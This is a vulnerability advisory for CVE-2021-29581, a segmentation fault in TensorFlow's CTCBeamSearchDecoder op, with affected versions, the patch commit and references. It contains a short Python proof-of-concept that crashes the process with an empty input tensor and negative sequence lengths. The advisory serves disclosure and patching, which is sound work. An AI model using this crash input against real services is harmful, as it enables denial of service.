Segfault in `CTCBeamSearchDecoder`
Low2.5CVE-2021-29581 · Published May 21, 2021 · updated Jul 8, 2026
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| tensorflow PyPI | < 2.1.4 | 2.1.4 |
| >= 2.2.0, < 2.2.3 | 2.2.3 | |
| >= 2.3.0, < 2.3.3 | 2.3.3 | |
| >= 2.4.0, < 2.4.2 | 2.4.2 |
Details and references
### Impact Due to lack of validation in `tf.raw_ops.CTCBeamSearchDecoder`, an attacker can trigger denial of service via segmentation faults: ```python import tensorflow as tf inputs = tf.constant([], shape=[18, 8, 0], dtype=tf.float32) sequence_length = tf.constant([11, -43, -92, 11, -89, -83, -35, -100], shape=[8], dtype=tf.int32) beam_width = 10 top_paths = 3 merge_repeated = True tf.raw_ops.CTCBeamSearchDecoder( inputs=inputs, sequence_length=sequence_length, beam_width=beam_width, top_paths=top_paths, merge_repeated=merge_repeated) ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/a74768f8e4efbda4def9f16ee7e13cf3922ac5f7/tensorflow/core/kernels/ctc_decoder_ops.cc#L68-L79) fails to detect cases when the input tensor is empty and proceeds to read data from a null buffer. ### Patches We have patched the issue in GitHub commit [b1b323042264740c398140da32e93fb9c2c9f33e](https://github.com/tensorflow/tensorflow/commit/b1b323042264740c398140da32e93fb9c2c9f33e). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
- CVSS 3.1
- CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-908
- Also known as
- BIT-tensorflow-2021-29581, CVE-2021-29581, PYSEC-2021-218, PYSEC-2021-509, PYSEC-2021-707
- github.com/tensorflow/tensorflow/security/advisories/GHSA-vq2r-5xvm-3hc3
- nvd.nist.gov/vuln/detail/CVE-2021-29581
- github.com/tensorflow/tensorflow/commit/b1b323042264740c398140da32e93fb9c2c9f33e
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-509.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-707.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-218.yaml
- github.com/tensorflow/tensorflow
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